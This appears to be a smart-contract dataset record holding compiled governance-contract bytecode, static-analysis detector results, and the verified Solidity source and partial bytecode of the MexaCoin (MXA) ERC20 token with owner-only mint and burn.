196101006001871615020190941693909304928301859004850281018501909152818152928301828280156108b45780601f10610889576101008083540402835291602001916108b4565b820191906000526020600020905b81548152906001019060200180831161089757829003601f168201915b50505050508152602001906001019061081d565b50505050915080805480602002602001604051908101604052809291908181526020016000905b8282101561099a5760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156109865780601f1061095b57610100808354040283529160200191610986565b820191906000526020600020905b81548152906001019060200180831161096957829003601f168201915b5050505050815260200190600101906108ef565b5050505090509450945094509450509193509193565b600190565b600081600354101580156109c857508115155b6109e45760405162461bcd60e51b81526004016105cd90612a68565b6000828152600460205260409020600a810154600160a01b900460ff1615610a10576002915050610b42565b80600601544311610a25576000915050610b42565b80600701544311610a3a576001915050610b42565b80600901548160080154111580610a5b5750610a5461068a565b8160080154105b15610a6a576003915050610b42565b6001810154610a7d576004915050610b42565b600a810154600160a81b900460ff1615610a9b576007915050610b42565b610b2c816001015460008054906101000a90046001600160a01b03166001600160a01b031663c1a287e26040518163ffffffff1660e01b815260040160206040518083038186803b158015610aef57600080fd5b505afa158015610b03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2791906123b9565b611bd7565b4210610b3c576006915050610b42565b60059150505b919050565b6007610b52826109b5565b6007811115610b5d57fe5b1415610b7b5760405162461bcd60e51b81526004016105cd90612f02565b60008181526004602052604090206002546001600160a01b0316331480610c3e5750610ba5611080565b60018054600a8401546001600160a01b039182169263782d6fe19290911690610bcf904390611c03565b6040518363ffffffff1660e01b8152600401610bec9291906126b0565b60206040518083038186803b158015610c0457600080fd5b505afa158015610c18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3c91906123b9565b105b610c5a5760405162461bcd60e51b81526004016105cd90612cce565b600a8101805460ff60a01b1916600160a01b179055600281015460005b81811015610d6d576000546002840180546001600160a01b039092169163591fcdfe919084908110610ca557fe5b6000918252602090912001546003860180546001600160a01b039092169185908110610ccd57fe5b9060005260206000200154866004018581548110610ce757fe5b90600052602060002001876005018681548110610d0057fe5b9060005260206000200188600101546040518663ffffffff1660e01b8152600401610d2f9594939291906127a9565b600060405180830381600087803b158015610d4957600080fd5b505af1158015610d5d573d6000803e3d6000fd5b505060019092019150610c779050565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610d9d919061283a565b60405180910390a1505050565b6002546001600160a01b031681565b60408051808201909152601581527456657370657220476f7665726e6f7220416c70686160581b60209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667fe7a4e5509f00ad12672e7bd3276df306b68741a6fb9b588c2aee841a75e05db8610e32611c2b565b30604051602001610e469493929190612843565b60405160208183030381529060405280519060200120905060007f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee8787604051602001610e9593929190612867565b60405160208183030381529060405280519060200120905060008282604051602001610ec2929190612681565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610eff949392919061287f565b6020604051602081039080840390855afa158015610f21573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610f545760405162461bcd60e51b81526004016105cd90612e30565b610f5f818a8a611a3b565b505050505050505050565b6002546001600160a01b03163314610f945760405162461bcd60e51b81526004016105cd90612fd1565b600280546001600160a01b0319169055565b600a90565b6002546001600160a01b03163314610fd55760405162461bcd60e51b81526004016105cd90612b81565b600080546040516001600160a01b0390911691633a66f90191839190610fff90879060200161269c565b604051602081830303815290604052856040518563ffffffff1660e01b815260040161102e94939291906126c9565b602060405180830381600087803b15801561104857600080fd5b505af115801561105c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068591906123b9565b60006064600160009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156106dc57600080fd5b6002546001600160a01b031633146110fc5760405162461bcd60e51b81526004016105cd906128c4565b6000805460408051630e18b68160e01b815290516001600160a01b0390921692630e18b6819260048084019382900301818387803b15801561113d57600080fd5b505af1158015611151573d6000803e3d6000fd5b50505050565b6000546001600160a01b031681565b60035481565b6000611176611080565b600180546001600160a01b03169063782d6fe1903390611197904390611c03565b6040518363ffffffff1660e01b81526004016111b49291906126b0565b60206040518083038186803b1580156111cc57600080fd5b505afa1580156111e0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061120491906123b9565b116112215760405162461bcd60e51b81526004016105cd90612dd3565b84518651148015611233575083518651145b8015611240575082518651145b61125c5760405162461bcd60e51b81526004016105cd90612c64565b855161127a5760405162461bcd60e51b81526004016105cd90612d87565b611282610fa6565b865111156112a25760405162461bcd60e51b81526004016105cd90612bf1565b33600090815260056020526040902054801561131f5760006112c3826109b5565b905060018160078111156112d357fe5b14156112f15760405162461bcd60e51b81526004016105cd90612e7f565b60008160078111156112ff57fe5b141561131d5760405162461bcd60e51b81526004016105cd90612afe565b505b600061132d43610b276109b0565b9050600061133d82610b27610527565b6003805460010190559050611350611d8e565b50604080516101a081018252600354808252600060208084018281528486018f8152606086018f9052608086018e905260a086018d905260c0860189905260e0860188905261010086018490526101208601849052336101408701526101608601849052610180860184905293835260048252949091208351815593516001850155905180519293849390926113ed926002850192910190611e03565b5060608201518051611409916003840191602090910190611e68565b5060808201518051611425916004840191602090910190611eaf565b5060a08201518051611441916005840191602090910190611f08565b5060c0820151816006015560e082015181600701556101008201518160080155610120820151816009015561014082015181600a0160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555061016082015181600a0160146101000a81548160ff02191690831515021790555061018082015181600a0160156101000a81548160ff0219169083151502179055509050508060000151600560008361014001516001600160a01b03166001600160a01b03168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e6040516115559998979695949392919061304c565b60405180910390a1519998505050505050505050565b6004611576826109b5565b600781111561158157fe5b1461159e5760405162461bcd60e51b81526004016105cd90612921565b600081815260046020818152604080842084548251630d48571f60e31b815292519195946115f39442946001600160a01b0390931693636a42b8f8938084019390829003018186803b158015610aef57600080fd5b600283015490915060005b8181101561179d5761179584600201828154811061161857fe5b6000918252602090912001546003860180546001600160a01b03909216918490811061164057fe5b906000526020600020015486600401848154811061165a57fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156116e85780601f106116bd576101008083540402835291602001916116e8565b820191906000526020600020905b8154815290600101906020018083116116cb57829003601f168201915b50505050508760050185815481106116fc57fe5b600091825260209182902001805460408051601f600260001961010060018716150201909416939093049283018590048502810185019091528181529283018282801561178a5780601f1061175f5761010080835404028352916020019161178a565b820191906000526020600020905b81548152906001019060200180831161176d57829003601f168201915b505050505087611c2f565b6001016115fe565b50600183018290556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda2892906117d790869085906130e4565b60405180910390a150505050565b7f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee81565b611811611f61565b5060008281526004602090815260408083206001600160a01b0385168452600b018252918290208251606081018452815460ff808216151583526101009091041615159281019290925260010154918101919091525b92915050565b6001546001600160a01b031681565b6005611887826109b5565b600781111561189257fe5b146118af5760405162461bcd60e51b81526004016105cd9061298b565b6000818152600460205260408120600a8101805460ff60a81b1916600160a81b179055600281015490915b81811015611a0b576000546003840180546001600160a01b0390921691630825f38f91908490811061190857fe5b906000526020600020015485600201848154811061192257fe5b6000918252602090912001546003870180546001600160a01b03909216918690811061194a57fe5b906000526020600020015487600401868154811061196457fe5b9060005260206000200188600501878154811061197d57fe5b9060005260206000200189600101546040518763ffffffff1660e01b81526004016119ac9594939291906127a9565b6000604051808303818588803b1580156119c557600080fd5b505af11580156119d9573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f19168201604052611a0291908101906123d1565b506001016118da565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f83604051610d9d919061283a565b6001611a46836109b5565b6007811115611a5157fe5b14611a6e5760405162461bcd60e51b81526004016105cd90612f58565b60008281526004602090815260408083206001600160a01b0387168452600b8101909252909120805460ff1615611ab75760405162461bcd60e51b81526004016105cd90612ab1565b600154600683015460405163782d6fe160e01b81526000926001600160a01b03169163782d6fe191611aed918a916004016126b0565b60206040518083038186803b158015611b0557600080fd5b505afa158015611b19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b3d91906123b9565b90508315611b5d57611b53836008015482611bd7565b6008840155611b71565b611b6b836009015482611bd7565b60098401555b8154600160ff19909116811761ff0019166101008615150217835582018190556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4690611bc7908890889088908690612735565b60405180910390a1505050505050565b600082820183811015611bfc5760405162461bcd60e51b81526004016105cd90612c39565b9392505050565b600082821115611c255760405162461bcd60e51b81526004016105cd90612fa2565b50900390565b4690565b6000546040516001600160a01b039091169063f2b0653790611c5d908890889088908890889060200161275d565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401611c8f919061283a565b60206040518083038186803b158015611ca757600080fd5b505afa158015611cbb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cdf919061239d565b15611cfc5760405162461bcd60e51b81526004016105cd90612d1d565b600054604051633a66f90160e01b81526001600160a01b0390911690633a66f90190611d34908890889088908890889060040161275d565b602060405180830381600087803b158015611d4e57600080fd5b505af1158015611d62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d8691906123b9565b505050505050565b604051806101a001604052806000815260200160008152602001606081526020016060815260200160608152602001606081526020016000815260200160008152602001600081526020016000815260200160006001600160a01b031681526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215611e58579160200282015b82811115611e5857825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190611e23565b50611e64929150611f81565b5090565b828054828255906000526020600020908101928215611ea3579160200282015b82811115611ea3578251825591602001919060010190611e88565b50611e64929150611fa0565b828054828255906000526020600020908101928215611efc579160200282015b82811115611efc5782518051611eec918491602090910190611fb5565b5091602001919060010190611ecf565b50611e64929150612022565b828054828255906000526020600020908101928215611f55579160200282015b82811115611f555782518051611f45918491602090910190611fb5565b5091602001919060010190611f28565b50611e6492915061203f565b604080516060810182526000808252602082018190529181019190915290565b5b80821115611e645780546001600160a01b0319168155600101611f82565b5b80821115611e645760008155600101611fa1565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611ff657805160ff1916838001178555611ea3565b82800160010185558215611ea35791820182811115611ea3578251825591602001919060010190611e88565b80821115611e64576000612036828261205c565b50600101612022565b80821115611e64576000612053828261205c565b5060010161203f565b50805460018160011615610100020316600290046000825580601f1061208257506120a0565b601f0160209004906000526020600020908101906120a09190611fa0565b50565b80356001600160a01b038116811461186757600080fd5b600082601f8301126120ca578081fd5b81356120dd6120d882613165565b61313e565b8181529150602080830190848101818402860182018710156120fe57600080fd5b60005b848110156121255761211388836120a3565b84529282019290820190600101612101565b505050505092915050565b600082601f830112612140578081fd5b813561214e6120d882613165565b818152915060208083019084810160005b8481101561212557612176888484358a010161223e565b8452928201929082019060010161215f565b600082601f830112612198578081fd5b81356121a66120d882613165565b818152915060208083019084810160005b84811015612125576121ce888484358a010161223e565b845292820192908201906001016121b7565b600082601f8301126121f0578081fd5b81356121fe6120d882613165565b81815291506020808301908481018184028601820187101561221f57600080fd5b60005b8481101561212557813584529282019290820190600101612222565b600082601f83011261224e578081fd5b813561225c6120d882613185565b915080825283602082850101111561227357600080fd5b8060208401602084013760009082016020015292915050565b60006020828403121561229d578081fd5b611bfc83836120a3565b600080604083850312156122b9578081fd5b6122c384846120a3565b946020939093013593505050565b600080600080600060a086880312156122e8578081fd5b853567ffffffffffffffff808211156122ff578283fd5b61230b89838a016120ba565b96506020880135915080821115612320578283fd5b61232c89838a016121e0565b95506040880135915080821115612341578283fd5b61234d89838a01612188565b94506060880135915080821115612362578283fd5b61236e89838a01612130565b93506080880135915080821115612383578283fd5b506123908882890161223e565b9150509295509295909350565b6000602082840312156123ae578081fd5b8151611bfc816131e1565b6000602082840312156123ca578081fd5b5051919050565b6000602082840312156123e2578081fd5b815167ffffffffffffffff8111156123f8578182fd5b8201601f81018413612408578182fd5b80516124166120d882613185565b81815285602083850101111561242a578384fd5b61243b8260208301602086016131b5565b95945050505050565b600060208284031215612455578081fd5b5035919050565b6000806040838503121561246e578182fd5b8235915061247f84602085016120a3565b90509250929050565b6000806040838503121561249a578182fd5b8235915060208301356124ac816131e1565b809150509250929050565b600080600080600060a086880312156124ce578283fd5b8535945060208601356124e0816131e1565b9350604086013560ff811681146124f5578384fd5b94979396509394606081013594506080013592915050565b6000815180845260208085019450808401835b838110156125455781516001600160a01b031687529582019590820190600101612520565b509495945050505050565b6000815180845260208085018081965082840281019150828601855b858110156125965782840389526125848483516125d2565b9885019893509084019060010161256c565b5091979650505050505050565b6000815180845260208085019450808401835b83811015612545578151875295820195908201906001016125b6565b600081518084526125ea8160208601602086016131b5565b601f01601f19169290920160200192915050565b6000815460018082166000811461261c576001811461263a57612678565b60028304607f16865260ff1983166020870152604086019350612678565b6002830480875261264a866131a9565b60005b8281101561266e5781546020828b010152848201915060208101905061264d565b8801602001955050505b50505092915050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b600060018060a01b038616825284602083015260a06040830152601860a08301527f73657450656e64696e6741646d696e286164647265737329000000000000000060c083015260e0606083015261272460e08301856125d2565b905082608083015295945050505050565b6001600160a01b03949094168452602084019290925215156040830152606082015260800190565b600060018060a01b038716825285602083015260a0604083015261278460a08301866125d2565b828103606084015261279681866125d2565b9150508260808301529695505050505050565b600060018060a01b038716825285602083015260a060408301526127d060a08301866125fe565b828103606084015261279681866125fe565b6000608082526127f5608083018761250d565b828103602084015261280781876125a3565b9050828103604084015261281b8186612550565b9050828103606084015261282f8185612550565b979650505050505050565b90815260200190565b938452602084019290925260408301526001600160a01b0316606082015260800190565b92835260208301919091521515604082015260600190565b93845260ff9290921660208401526040830152606082015260800190565b60208101600883106128ab57fe5b91905290565b600060208252611bfc60208301846125d2565b60208082526039908201527f476f7665726e6f72416c7068613a3a5f5f61636365707441646d696e3a20736560408201527f6e646572206d75737420626520676f7620677561726469616e00000000000000606082015260800190565b60208082526044908201527f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206360408201527f616e206f6e6c79206265207175657565642069662069742069732073756363656060820152631959195960e21b608082015260a00190565b60208082526045908201527f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c60408201527f2063616e206f6e6c7920626520657865637574656420696620697420697320716060820152641d595d595960da1b608082015260a00190565b6020808252604c908201527f476f7665726e6f72416c7068613a3a5f5f6578656375746553657454696d656c60408201527f6f636b50656e64696e6741646d696e3a2073656e646572206d7573742062652060608201526b33b7bb1033bab0b93234b0b760a11b608082015260a00190565b60208082526029908201527f476f7665726e6f72416c7068613a3a73746174653a20696e76616c69642070726040820152681bdc1bdcd85b081a5960ba1b606082015260800190565b6020808252602d908201527f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722060408201526c185b1c9958591e481d9bdd1959609a1b606082015260800190565b60208082526059908201527f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560408201527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60608201527f20616c72656164792070656e64696e672070726f706f73616c00000000000000608082015260a00190565b6020808252604a908201527f476f7665726e6f72416c7068613a3a5f5f717565756553657454696d656c6f6360408201527f6b50656e64696e6741646d696e3a2073656e646572206d75737420626520676f6060820152693b1033bab0b93234b0b760b11b608082015260a00190565b60208082526028908201527f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7960408201526720616374696f6e7360c01b606082015260800190565b6020808252601190820152706164646974696f6e206f766572666c6f7760781b604082015260600190565b60208082526044908201527f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c60408201527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d6060820152630c2e8c6d60e31b608082015260a00190565b6020808252602f908201527f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722060408201526e18589bdd99481d1a1c995cda1bdb19608a1b606082015260800190565b60208082526044908201527f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207060408201527f726f706f73616c20616374696f6e20616c7265616479207175657565642061746060820152632065746160e01b608082015260a00190565b6020808252602c908201527f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f60408201526b7669646520616374696f6e7360a01b606082015260800190565b6020808252603f908201527f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73657260408201527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c6400606082015260800190565b6020808252602f908201527f476f7665726e6f72416c7068613a3a63617374566f746542795369673a20696e60408201526e76616c6964207369676e617475726560881b606082015260800190565b60208082526058908201527f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560408201527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60608201527f20616c7265616479206163746976652070726f706f73616c0000000000000000608082015260a00190565b60208082526036908201527f476f7665726e6f72416c7068613a3a63616e63656c3a2063616e6e6f742063616040820152751b98d95b08195e1958dd5d1959081c1c9bdc1bdcd85b60521b606082015260800190565b6020808252602a908201527f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e67604082015269081a5cc818db1bdcd95960b21b606082015260800190565b6020808252601590820152747375627472616374696f6e20756e646572666c6f7760581b604082015260600190565b60208082526036908201527f476f7665726e6f72416c7068613a3a5f5f61626469636174653a2073656e6465604082015275391036bab9ba1031329033b7bb1033bab0b93234b0b760511b606082015260800190565b8151151581526020808301511515908201526040918201519181019190915260600190565b8981526001600160a01b0389166020820152610120604082018190526000906130778382018b61250d565b9050828103606084015261308b818a6125a3565b9050828103608084015261309f8189612550565b905082810360a08401526130b38188612550565b90508560c08401528460e08401528281036101008401526130d481856125d2565b9c9b505050505050505050505050565b918252602082015260400190565b988952602089019790975260408801959095526060870193909352608086019190915260a08501526001600160a01b031660c0840152151560e083015215156101008201526101200190565b60405181810167ffffffffffffffff8111828210171561315d57600080fd5b604052919050565b600067ffffffffffffffff82111561317b578081fd5b5060209081020190565b600067ffffffffffffffff82111561319b578081fd5b50601f01601f191660200190565b60009081526020902090565b60005b838110156131d05781810151838201526020016131b8565b838111156111515750506000910152565b80151581146120a057600080fdfea2646970667358221220b228425a5e686d03baf0dfa1d47ac3ae63f350c7388b6076783961ca4163f62564736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,638
0x16ea944604cbb17664dd3d2bd52727908ad8bced
/** *Submitted for verification at Etherscan.io on 2021-03-29 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract MXA is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; address private _owner; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor () { _owner = msg.sender; _name = "MexaCoin"; _symbol = "MXA"; _totalSupply = 126000000 * (10**decimals()); _balances[msg.sender] = _totalSupply; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function owner_() public view returns (address) { return _owner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function mint(address account,uint256 amount) public { require(msg.sender == _owner,"Caller must be owner"); _mint(account,amount); } function burn(address account,uint256 amount) public { require(msg.sender == _owner,"Caller must be owner"); _burn(account,amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806370a082311161008c578063a457c2d711610066578063a457c2d71461025f578063a9059cbb1461028f578063dd62ed3e146102bf578063e7663079146102ef576100ea565b806370a08231146101f557806395d89b41146102255780639dc29fac14610243576100ea565b806323b872dd116100c857806323b872dd1461015b578063313ce5671461018b57806339509351146101a957806340c10f19146101d9576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f761030d565b604051610104919061141b565b60405180910390f35b610127600480360381019061012291906111b3565b61039f565b6040516101349190611400565b60405180910390f35b6101456103bd565b604051610152919061159d565b60405180910390f35b61017560048036038101906101709190611164565b6103c7565b6040516101829190611400565b60405180910390f35b6101936104c8565b6040516101a091906115b8565b60405180910390f35b6101c360048036038101906101be91906111b3565b6104d1565b6040516101d09190611400565b60405180910390f35b6101f360048036038101906101ee91906111b3565b61057d565b005b61020f600480360381019061020a91906110ff565b61061b565b60405161021c919061159d565b60405180910390f35b61022d610663565b60405161023a919061141b565b60405180910390f35b61025d600480360381019061025891906111b3565b6106f5565b005b610279600480360381019061027491906111b3565b610793565b6040516102869190611400565b60405180910390f35b6102a960048036038101906102a491906111b3565b610887565b6040516102b69190611400565b60405180910390f35b6102d960048036038101906102d49190611128565b6108a5565b6040516102e6919061159d565b60405180910390f35b6102f761092c565b60405161030491906113e5565b60405180910390f35b60606003805461031c90611701565b80601f016020809104026020016040519081016040528092919081815260200182805461034890611701565b80156103955780601f1061036a57610100808354040283529160200191610395565b820191906000526020600020905b81548152906001019060200180831161037857829003601f168201915b5050505050905090565b60006103b36103ac610956565b848461095e565b6001905092915050565b6000600254905090565b60006103d4848484610b29565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061041f610956565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561049f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610496906114b